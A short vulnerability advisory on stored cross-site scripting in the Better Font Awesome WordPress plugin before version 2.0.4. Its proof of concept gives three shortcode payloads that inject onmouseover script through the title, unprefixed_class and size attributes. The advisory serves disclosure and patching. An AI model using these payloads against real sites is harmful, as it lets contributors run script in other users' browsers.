WordPress Plugin Vulnerabilities

Better Font Awesome < 2.0.4 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[icon name='flag' class='4x border' title='" onmouseover="alert(/XSS/)']

[icon name='flag' unprefixed_class='" onmouseover="alert(/XSS/)//']

[icon name='flag' size='" onmouseover="alert(/XSS/)//']

Affects Plugins

Fixed in 2.0.4
